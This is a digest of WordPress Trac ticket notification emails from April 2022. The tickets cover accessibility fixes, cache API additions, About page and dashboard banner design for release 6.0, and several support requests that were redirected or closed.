<https://core.trac.wordpress.org/ticket/55530> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 16:39:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 16:39:48 -0000 Subject: [wp-trac] [WordPress Trac] #35483: Accessibility improvements for the Bulk Edit form In-Reply-To: <051.87a7aaace03b7b3e0228eb25eaedecae@wordpress.org> References: <051.87a7aaace03b7b3e0228eb25eaedecae@wordpress.org> Message-ID: <066.4e634c8d8a6a26e48f67dbbb1e94ebd2@wordpress.org> #35483: Accessibility improvements for the Bulk Edit form -------------------------------------+------------------------------------- Reporter: afercia | Owner: afercia Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Quick/Bulk Edit | Version: Severity: normal | Resolution: Keywords: has-screenshots title- | Focuses: ui, accessibility, attribute has-patch 2nd-opinion | javascript -------------------------------------+------------------------------------- Comment (by joedolson): If there are no other opinions on the focus setting for quick edit, we'll just have to decide on one. In my opinion, there are enough differences inherent in the bulk edit vs quick edit interactions that I don't see a benefit to setting the focus the same in both. I'd really like to get this important change into this release; so if there's no further debate, I'll probably just review & commit soon. -- Ticket URL: <https://core.trac.wordpress.org/ticket/35483#comment:30> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 16:46:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 16:46:02 -0000 Subject: [wp-trac] [WordPress Trac] #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users In-Reply-To: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> References: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> Message-ID: <070.c1ac50d558a12e60ac1a77f64ef6ad7d@wordpress.org> #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users -------------------------+------------------------------------------------- Reporter: johnbillion | Owner: spacedmonkey Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: administration, multisite, | performance -------------------------+------------------------------------------------- Comment (by spacedmonkey): Create a quick patch myself, that seems to work. [https://github.com/WordPress/wordpress-develop/pull/2520 #2520]. Either solution is just a simple workaround, to add a hidden select tag. -- Ticket URL: <https://core.trac.wordpress.org/ticket/38741#comment:100> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 16:50:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 16:50:52 -0000 Subject: [wp-trac] [WordPress Trac] #36971: Show readme.txt from Themes In-Reply-To: <054.6e786622bb1f2100097568ec84e68a17@wordpress.org> References: <054.6e786622bb1f2100097568ec84e68a17@wordpress.org> Message-ID: <069.a2d6e2aa87a2ce300a2235025916277b@wordpress.org> #36971: Show readme.txt from Themes -------------------------+----------------------------- Reporter: zodiac1978 | Owner: SergeyBiryukov Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Themes | Version: Severity: normal | Resolution: Keywords: | Focuses: ui -------------------------+----------------------------- Changes (by chaion07): * keywords: needs-design => Comment: We reviewed this ticket during a [https://wordpress.slack.com/archives/C02S78ZAL/p1649175321181229 recent bug-scrub session]. [https://core.trac.wordpress.org/ticket/36971#comment:26 Mark's comment] actually covers the design feedback. So we are removing the keyword. Props to @joyously for pointing this out. Cheers! -- Ticket URL: <https://core.trac.wordpress.org/ticket/36971#comment:39> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 16:51:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 16:51:02 -0000 Subject: [wp-trac] [WordPress Trac] #55530: In widget area <a aria-current="page" title="shows whole category description when only cat_title should be shown - which breaks the intended benefit of aria (and creates duplicate content on the category archive)" In-Reply-To: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> References: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> Message-ID: <074.277b8104d9097ff8be295a8366d1af52@wordpress.org> #55530: In widget area <a aria-current="page" title="shows whole category description when only cat_title should be shown - which breaks the intended benefit of aria (and creates duplicate content on the category archive)" -----------------------------------------+------------------------------ Reporter: just0nequestion | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: needs-patch title-attribute | Focuses: accessibility -----------------------------------------+------------------------------ Changes (by sabernhardt): * focuses: => accessibility * component: General => Taxonomy * version: 5.9.2 => * keywords: => needs-patch title-attribute * type: defect (bug) => enhancement Old description: > As aria should help people that need assistive technology, having them to > listen to a whole heap of crumbled words that come from a html structured > category description isn't what this was intendend for. > > <li class="cat-item cat-item-1 current-cat"><a aria-current="page" > href="https://www.blog.com" title="Here comes everything from the > category description with stipped html tags which results in a lot of > words that don't give the user of assistive technology a benefit. It even > disturbs him (when categories have long / formatted descriptions. The > words here show up without formatting and created duplicate content on > page">*</a> New description: As aria should help people that need assistive technology, having them to listen to a whole heap of crumbled words that come from a html structured category description isn't what this was intendend for. `<li class="cat-item cat-item-1 current-cat"><a aria-current="page" href="https://www.blog.com" title="Here comes everything from the category description with stipped html tags which results in a lot of words that don't give the user of assistive technology a benefit. It even disturbs him (when categories have long / formatted descriptions. The words here show up without formatting and created duplicate content on page">*</a>` -- Comment: Thanks for the report! WordPress has removed many title attributes, but the [https://developer.wordpress.org/reference/functions/wp_list_categories/ wp_list_categories function] still has `use_desc_for_title` true (`1`) by default. I don't think this should be the expected default. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55530#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 17:09:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 17:09:56 -0000 Subject: [wp-trac] [WordPress Trac] #54574: Add wp_cache_*_multiple function In-Reply-To: <056.5bdf45f85b8c5dea45eaa02f22662630@wordpress.org> References: <056.5bdf45f85b8c5dea45eaa02f22662630@wordpress.org> Message-ID: <071.82a5e5da7c956e31757b7c437cd50ac9@wordpress.org> #54574: Add wp_cache_*_multiple function -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: | spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Cache API | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests needs-dev- | Focuses: note needs-docs | performance -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: has-patch has-unit-tests => has-patch has-unit-tests needs- dev-note needs-docs -- Ticket URL: <https://core.trac.wordpress.org/ticket/54574#comment:21> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 17:16:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 17:16:56 -0000 Subject: [wp-trac] [WordPress Trac] #55531: Make block type aware of ancestor prop Message-ID: <052.d593356e7e19e539b1db90f5348eb9ef@wordpress.org> #55531: Make block type aware of ancestor prop -------------------------+----------------------------- Reporter: darerodz | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: Severity: normal | Keywords: Focuses: | -------------------------+----------------------------- The `ancestor` prop was recently added to the block.json schema, in Gutenberg. This new field should be handled in the `WP_Block_Type` class, in the REST API endpoint for block types, and ensure it gets exposed in the `get_block_editor_server_block_settings` function. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55531> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 17:20:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 17:20:05 -0000 Subject: [wp-trac] [WordPress Trac] #55530: In widget area <a aria-current="page" title="shows whole category description when only cat_title should be shown - which breaks the intended benefit of aria (and creates duplicate content on the category archive)" In-Reply-To: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> References: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> Message-ID: <074.7bbd56a9299856e60d4c318aef3a435b@wordpress.org> #55530: In widget area <a aria-current="page" title="shows whole category description when only cat_title should be shown - which breaks the intended benefit of aria (and creates duplicate content on the category archive)" -----------------------------------------+------------------------------ Reporter: just0nequestion | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: needs-patch title-attribute | Focuses: accessibility -----------------------------------------+------------------------------ Comment (by joyously): Is it the `aria` or the `title` that is the problem? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55530#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 17:22:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 17:22:41 -0000 Subject: [wp-trac] [WordPress Trac] #55080: Introduce a new `wp_cache_flush_runtime()` method In-Reply-To: <054.f9deb7514a5e162e54e77af39a76679f@wordpress.org> References: <054.f9deb7514a5e162e54e77af39a76679f@wordpress.org> Message-ID: <069.90318296bf469b18853fb46b90bb68ef@wordpress.org> #55080: Introduce a new `wp_cache_flush_runtime()` method ---------------------------------------------+--------------------------- Reporter: tillkruess | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Cache API | Version: trunk Severity: minor | Resolution: fixed Keywords: has-patch commit needs-dev-note | Focuses: performance ---------------------------------------------+--------------------------- Changes (by milana_cap): * keywords: has-patch commit => has-patch commit needs-dev-note -- Ticket URL: <https://core.trac.wordpress.org/ticket/55080#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 17:23:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 17:23:26 -0000 Subject: [wp-trac] [WordPress Trac] #55080: Introduce a new `wp_cache_flush_runtime()` method In-Reply-To: <054.f9deb7514a5e162e54e77af39a76679f@wordpress.org> References: <054.f9deb7514a5e162e54e77af39a76679f@wordpress.org> Message-ID: <069.9025793916c29d865e69878a403aa6a0@wordpress.org> #55080: Introduce a new `wp_cache_flush_runtime()` method -------------------------------------------------+------------------------- Reporter: tillkruess | Owner: | spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Cache API | Version: trunk Severity: minor | Resolution: fixed Keywords: has-patch commit needs-dev-note | Focuses: needs-docs | performance -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: has-patch commit needs-dev-note => has-patch commit needs-dev- note needs-docs -- Ticket URL: <https://core.trac.wordpress.org/ticket/55080#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 18:00:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 18:00:37 -0000 Subject: [wp-trac] [WordPress Trac] #55532: Update the Dashboard welcome banner for 6.0 Message-ID: <056.f96888ce3cb506375c29727e3d5ee25a@wordpress.org> #55532: Update the Dashboard welcome banner for 6.0 ----------------------------+----------------------------- Reporter: critterverse | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: administration | ----------------------------+----------------------------- Hey, all! This is a ticket focused on updating the Dashboard welcome banner for the 6.0 release. I didn't see a ticket open for this task already but please let me know if this is a duplicate :) For more context, please see updates that were made to the banner for 5.9: https://core.trac.wordpress.org/ticket/54489 Ideally, we could reuse built elements as much as possible for this release but replace the balloon artwork with new graphics. I imagine there could be similar color mapping across admin styles, etc! The new visuals for 6.0 should align with assets that are created for the About page, which are being worked on in https://core.trac.wordpress.org/ticket/55434. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55532> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 18:03:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 18:03:04 -0000 Subject: [wp-trac] [WordPress Trac] #55434: About Page for 6.0 Release In-Reply-To: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> References: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> Message-ID: <069.79e90bc008b2b8d2a10c6d9f3d801937@wordpress.org> #55434: About Page for 6.0 Release -------------------------------------+------------------------------------- Reporter: webcommsat | Owner: marybaum Type: task (blessed) | Status: assigned Priority: high | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: needs-message-strategy | Focuses: ui, docs, needs-design | administration, ui-copy -------------------------------------+------------------------------------- Comment (by critterverse): Hi all, I [https://wordpress.slack.com/archives/C02S78ZAL/p1648571478863619 asked] for volunteers to help with the About page in the Design channel recently and @fcoveram reached out to say he'd love to help with the design for this release 😀 Also wanted to follow up on this question that @ryelle [https://wordpress.slack.com/archives/C02RQBWTW/p1648499368018799 asked] on Slack the other day: >Does anyone know if we’ll be reusing the same design again, or is there a plan to set up a new layout? My sense is that we should try to reuse the same layout since the Dashboard banner will also need similar updates. I think the most streamlined approach would be to focus on updating these items: • About, Credit, Freedoms, Privacy pages — replace balloon header artwork but reuse built elements as much as possible (the new graphic can likely use similar positioning to maintain the same responsive scaling, etc) • About page — replace content/images • Dashboard welcome banner — replace balloon artwork but reuse built elements as much as possible (there could be similar color mapping across admin styles, etc) I opened a new ticket to discuss the Dashboard updates in https://core.trac.wordpress.org/ticket/55532. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55434#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 18:19:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 18:19:21 -0000 Subject: [wp-trac] =?utf-8?q?=5BWordPress_Trac=5D_=2355520=3A_merhaba_en_?= =?utf-8?q?son_yapm=C4=B1=C5=9F_oldunuz_WordPress_5=2E9=2E2_g=C3=BCncelemm?= =?utf-8?b?ZSBZb2FzdCBTRU8gYcOnbcSxeW9yIHlhesSxbGFyIGfDtm5kZXJpbGVyaSBh?= =?utf-8?q?=C3=A7m=C4=B1yor_lutfen_bunu_d=C3=BCzeltilmesini_rica_ediyorum_?= =?utf-8?q?_b=C3=BCy=C3=BCk_sitede_sorun_oldu?= In-Reply-To: <054.3b863b8bcdd7f1da09b5e7b3f293504a@wordpress.org> References: <054.3b863b8bcdd7f1da09b5e7b3f293504a@wordpress.org> Message-ID: <069.08f4f9099fe054a09cdce040999cc31a@wordpress.org> #55520: merhaba en son yapmış oldunuz WordPress 5.9.2 güncelemme Yoast SEO açmıyor yazılar gönderileri açmıyor lutfen bunu düzeltilmesini rica ediyorum büyük sitede sorun oldu --------------------------+---------------------- Reporter: bakiyisite | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: Severity: normal | Resolution: invalid Keywords: | Focuses: --------------------------+---------------------- Changes (by costdev): * status: assigned => closed * version: 5.9.2 => * resolution: => invalid * severity: critical => normal * milestone: Awaiting Review => Comment: Hi @bakiyisite, welcome back to Trac! Sorry to hear that you're having trouble with your website. Trac is for the development of WordPress Core rather than providing WordPress support. You can get some help from the folks over on [https://wordpress.org/support/forums/ the support forums]. Best of luck! -- Ticket URL: <https://core.trac.wordpress.org/ticket/55520#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 18:53:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 18:53:44 -0000 Subject: [wp-trac] [WordPress Trac] #16502: Quick Edit contents should only be rendered if quick edit button in actions after filtering In-Reply-To: <050.8e1bed58f7d42efa607afa9787c54d66@wordpress.org> References: <050.8e1bed58f7d42efa607afa9787c54d66@wordpress.org> Message-ID: <065.74e99b00d4b1ca36bb8672ed2ae7f6b4@wordpress.org> #16502: Quick Edit contents should only be rendered if quick edit button in actions after filtering -----------------------------+------------------------ Reporter: wyrfel | Owner: chriscct7 Type: enhancement | Status: reviewing Priority: normal | Milestone: Component: Quick/Bulk Edit | Version: 3.0.4 Severity: normal | Resolution: Keywords: has-patch | Focuses: -----------------------------+------------------------ Changes (by sabernhardt): * Attachment "16502.1.diff" added. adding curly brackets -- Ticket URL: <https://core.trac.wordpress.org/ticket/16502> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 18:59:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 18:59:02 -0000 Subject: [wp-trac] [WordPress Trac] #16502: Quick Edit contents should only be rendered if quick edit button in actions after filtering In-Reply-To: <050.8e1bed58f7d42efa607afa9787c54d66@wordpress.org> References: <050.8e1bed58f7d42efa607afa9787c54d66@wordpress.org> Message-ID: <065.f7a645bb759d6f4bc6f3a8c6454c74e6@wordpress.org> #16502: Quick Edit contents should only be rendered if quick edit button in actions after filtering -------------------------------------+----------------------------- Reporter: wyrfel | Owner: chriscct7 Type: enhancement | Status: reviewing Priority: normal | Milestone: Future Release Component: Quick/Bulk Edit | Version: 3.0.4 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: -------------------------------------+----------------------------- Changes (by sabernhardt): * keywords: has-patch => has-patch needs-testing * milestone: => Future Release Old description: > _the_post() has a static call to get_inline_data() to generate the > quick_edit content. This happens even if after running the (undocumented) > 'post_row_actions' filters the Quick-Edit link ($actions['inline hide-if- > no-js']) is not amongst the actions anymore. > > Prefixing the get_inline_data() call with > {{{ > if (isset($actions['inline hide-if-no-js']) > }}} > would be a simple solution, enabling people to cancel the performance- > impacting quick-edit form generation alltogether. New description: `_the_post()` has a static call to `get_inline_data()` to generate the `quick_edit` content. This happens even if after running the (undocumented) `post_row_actions` filters the Quick-Edit link (`$actions['inline hide-if-no-js']`) is not amongst the actions anymore. Prefixing the `get_inline_data()` call with {{{ if (isset($actions['inline hide-if-no-js']) }}} would be a simple solution, enabling people to cancel the performance- impacting quick-edit form generation alltogether. -- Comment: Also, Core disables quick edit for (reusable) blocks. Sample filter to use for testing other post types: {{{ add_filter( 'post_row_actions', 'list_row_actions_remove_quick_edit', 10, 1 ); function list_row_actions_remove_quick_edit( $actions ) { unset( $actions['inline hide-if-no-js'] ); return $actions; } }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/16502#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 19:18:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 19:18:28 -0000 Subject: [wp-trac] [WordPress Trac] #54742: Fix GHA on first runs for new branches In-Reply-To: <057.2b762651a0032089b61efcef3d85c914@wordpress.org> References: <057.2b762651a0032089b61efcef3d85c914@wordpress.org> Message-ID: <072.80e76ebb795d71cefbc3992a87631f6e@wordpress.org> #54742: Fix GHA on first runs for new branches ------------------------------+----------------------- Reporter: davidbaumwald | Owner: desrosj Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: has-patch commit | Focuses: ------------------------------+----------------------- Changes (by desrosj): * status: closed => reopened * resolution: fixed => Comment: Hmm, it appears [53077] did not work as expected: https://github.com/WordPress/wordpress- develop/runs/5839661200?check_suite_focus=true. Reopening to investigate further. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54742#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 19:37:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 19:37:38 -0000 Subject: [wp-trac] [WordPress Trac] #41833: Excerpt disappear in excerpt mode post list, after quick edit In-Reply-To: <052.2fc790b84d9b7f6d6fa7c67a6ba76c70@wordpress.org> References: <052.2fc790b84d9b7f6d6fa7c67a6ba76c70@wordpress.org> Message-ID: <067.e1a09e9064802f8eadf6e55fb7179216@wordpress.org> #41833: Excerpt disappear in excerpt mode post list, after quick edit -----------------------------+------------------------------ Reporter: satnapar | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Quick/Bulk Edit | Version: 4.8.1 Severity: normal | Resolution: Keywords: needs-testing | Focuses: -----------------------------+------------------------------ Changes (by sabernhardt): * keywords: close => needs-testing Comment: I was wrong. The installation in which I reproduced the error used Polylang, and that includes the language as an option in quick edit. Adding the plugin in 5.9 has the same issue. Needs further testing with other plugins that add to the quick edit form to determine whether it is caused by Polylang only or by any plugin's quick edit fields. -- Ticket URL: <https://core.trac.wordpress.org/ticket/41833#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 19:39:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 19:39:21 -0000 Subject: [wp-trac] [WordPress Trac] #40322: WordPress Network htaccess rewrite causes internal loop In-Reply-To: <054.a4d8899ff59d61fa8b7fec6416aef282@wordpress.org> References: <054.a4d8899ff59d61fa8b7fec6416aef282@wordpress.org> Message-ID: <069.5f168e136dd507a76f984cbf35806d61@wordpress.org> #40322: WordPress Network htaccess rewrite causes internal loop ---------------------------+------------------------ Reporter: davidsword | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Rewrite Rules | Version: 3.3.2 Severity: normal | Resolution: duplicate Keywords: | Focuses: multisite ---------------------------+------------------------ Changes (by desrosj): * version: 4.7.3 => 3.3.2 * milestone: Awaiting Review => -- Ticket URL: <https://core.trac.wordpress.org/ticket/40322#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 19:40:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 19:40:26 -0000 Subject: [wp-trac] [WordPress Trac] #55282: Block Theme "Customize" and "Widgets" Menus have same $position In-Reply-To: <057.2189dcb1e78138c428cb708433c5cd90@wordpress.org> References: <057.2189dcb1e78138c428cb708433c5cd90@wordpress.org> Message-ID: <072.d381a615b3bcf83be56fd7d4f049f841@wordpress.org> #55282: Block Theme "Customize" and "Widgets" Menus have same $position ----------------------------+----------------------------- Reporter: domainsupport | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Administration | Version: 5.9 Severity: normal | Resolution: duplicate Keywords: | Focuses: administration ----------------------------+----------------------------- Changes (by desrosj): * version: trunk => 5.9 * milestone: Awaiting Review => -- Ticket URL: <https://core.trac.wordpress.org/ticket/55282#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 19:41:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 19:41:15 -0000 Subject: [wp-trac] [WordPress Trac] #54370: Add an option to configure the site icon in general settings In-Reply-To: <055.7cf03f6b5a652bf12a9f2431bd601519@wordpress.org> References: <055.7cf03f6b5a652bf12a9f2431bd601519@wordpress.org> Message-ID: <070.0b712b030d9480c25997003b161eacb1@wordpress.org> #54370: Add an option to configure the site icon in general settings -------------------------+--------------------- Reporter: jameskoster | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: 5.9 Severity: normal | Resolution: Keywords: needs-patch | Focuses: -------------------------+--------------------- Changes (by desrosj): * version: => 5.9 -- Ticket URL: <https://core.trac.wordpress.org/ticket/54370#comment:33> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 19:41:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 19:41:48 -0000 Subject: [wp-trac] [WordPress Trac] #55487: I am not able to add favicon / site icon with latest Full Site Editing In-Reply-To: <057.7514de5cf9d7ee41e097cbd0c97faacf@wordpress.org> References: <057.7514de5cf9d7ee41e097cbd0c97faacf@wordpress.org> Message-ID: <072.00066dfdb2b7c3ce8d342351b1a9f783@wordpress.org> #55487: I am not able to add favicon / site icon with latest Full Site Editing ---------------------------+------------------------ Reporter: Suresh Shinde | Owner: (none) Type: enhancement | Status: closed Priority: normal | Milestone: Component: General | Version: 5.9 Severity: normal | Resolution: duplicate Keywords: | Focuses: ---------------------------+------------------------ Changes (by desrosj): * keywords: needs-docs needs-patch => * version: 5.9.2 => 5.9 * type: feature request => enhancement * milestone: Awaiting Review => -- Ticket URL: <https://core.trac.wordpress.org/ticket/55487#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 19:52:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 19:52:06 -0000 Subject: [wp-trac] [WordPress Trac] #35726: Add .webp support to WP_Image_Editor_GD In-Reply-To: <056.e58fc5e4804802fd9b10ff3b6ce7205a@wordpress.org> References: <056.e58fc5e4804802fd9b10ff3b6ce7205a@wordpress.org> Message-ID: <071.86f701aae31b233a135d1e9b99e5ed6c@wordpress.org> #35726: Add .webp support to WP_Image_Editor_GD -----------------------------+------------------------ Reporter: markoheijnen | Owner: (none) Type: feature request | Status: closed Priority: normal | Milestone: Component: Media | Version: Severity: normal | Resolution: duplicate Keywords: | Focuses: -----------------------------+------------------------ Changes (by desrosj): * resolution: fixed => duplicate * milestone: Future Release => Comment: Duplicate of #35725. -- Ticket URL: <https://core.trac.wordpress.org/ticket/35726#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 19:57:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 19:57:57 -0000 Subject: [wp-trac] [WordPress Trac] #55533: e_error en la linea 363 Message-ID: <050.b246e37dc253b01982b16a4bf815b94c@wordpress.org> #55533: e_error en la linea 363 --------------------------+----------------------------- Reporter: pmxmdp | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- Hola, me llego un email que menciona el siguiente error, quisiera saber si alguno de ustedes sabe a que se puede deber. Los plugins, temas y demas se encuentra actualizado al dia de hoy. Este error no me permite que editemos los productos, solo la edicion rapida, por lo que productos con variables no es posible modificar. Desde ya muchas gracias! Detalles del error ================== Se ha producido un error del tipo E_ERROR en la línea 363 del archivo /home/c5000352/public_html/wp- content/plugins/revslider/includes/functions.class.php. Mensaje de error: Uncaught ValueError: strrpos(): Argument #3 ($offset) must be contained in argument #1 ($haystack) in /home/c5000352/public_html/wp- content/plugins/revslider/includes/functions.class.php:363 Stack trace: #0 /home/c5000352/public_html/wp- content/plugins/revslider/includes/functions.class.php(363): strrpos('', '.', -1) #1 /home/c5000352/public_html/wp- content/plugins/revslider/includes/slide.class.php(2264): RevSliderFunctions->check_valid_image(false) #2 /home/c5000352/public_html/wp- content/plugins/revslider/includes/slider.class.php(2163): RevSliderSlide->get_overview_image_attributes('gallery') #3 /home/c5000352/public_html/wp-content/plugins/revslider/admin/includes /functions-admin.class.php(175): RevSliderSlider->get_overview_data() #4 /home/c5000352/public_html/wp-content/plugins/revslider/admin/includes /functions-admin.class.php(116): RevSliderFunctionsAdmin->get_slider_overview() #5 /home/c5000352/public_html/wp- content/plugins/revslider/admin/includes/shortcode_generator/shortcode_generator.class.php(170): RevSliderFunctionsAdmin->get_short_library() #6 /home/c5000352/public_html/wp- content/plugins/revslider/admin/includes/shortcode_generator/shortcode_generator.class.php(23): RevSliderShortcodeWizard::add_scripts() #7 /home/c5000352/public_html/wp-includes/class-wp-hook.php(307): RevSliderShortcodeWizard::enqueue_scripts('post.php') #8 /home/c5000352/public_html/wp-includes/class-wp-hook.php(331): WP_Hook->apply_filters(NULL, Array) #9 /home/c5000352/public_html/wp-includes/plugin.php(474): WP_Hook->do_action(Array) #10 /home/c5000352/public_html/wp-admin/admin-header.php(118): do_action('admin_enqueue_s...', 'post.php') #11 /home/c5000352/public_html/wp-admin/edit-form-advanced.php(425): require_once('/home/c5000352/...') #12 /home/c5000352/public_html/wp-admin/post.php(206): require('/home/c5000352/...') #13 {main} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55533> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 20:01:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 20:01:47 -0000 Subject: [wp-trac] [WordPress Trac] #54478: Backport block template resolution algorithm unit tests In-Reply-To: <059.d815e5268fca41b20f871bd21d27af2a@wordpress.org> References: <059.d815e5268fca41b20f871bd21d27af2a@wordpress.org> Message-ID: <074.38e12eb8d1cd1941d009ae56654f7840@wordpress.org> #54478: Backport block template resolution algorithm unit tests --------------------------------------+-------------------------- Reporter: Bernhard Reiter | Owner: youknowriad Type: enhancement | Status: closed Priority: normal | Milestone: 5.9 Component: Editor | Version: 5.9 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+-------------------------- Changes (by desrosj): * milestone: Awaiting Review => 5.9 -- Ticket URL: <https://core.trac.wordpress.org/ticket/54478#comment:29> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 20:02:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 20:02:20 -0000 Subject: [wp-trac] [WordPress Trac] #54774: Upload webp (animated) In-Reply-To: <053.14f39ff514a7dca4cb7cae9c27fa91bb@wordpress.org> References: <053.14f39ff514a7dca4cb7cae9c27fa91bb@wordpress.org> Message-ID: <068.429b3c854d2a6c47c4c3b95523e32f3a@wordpress.org> #54774: Upload webp (animated) --------------------------+------------------------- Reporter: themefour | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Media | Version: 5.8.3 Severity: normal | Resolution: worksforme Keywords: close | Focuses: 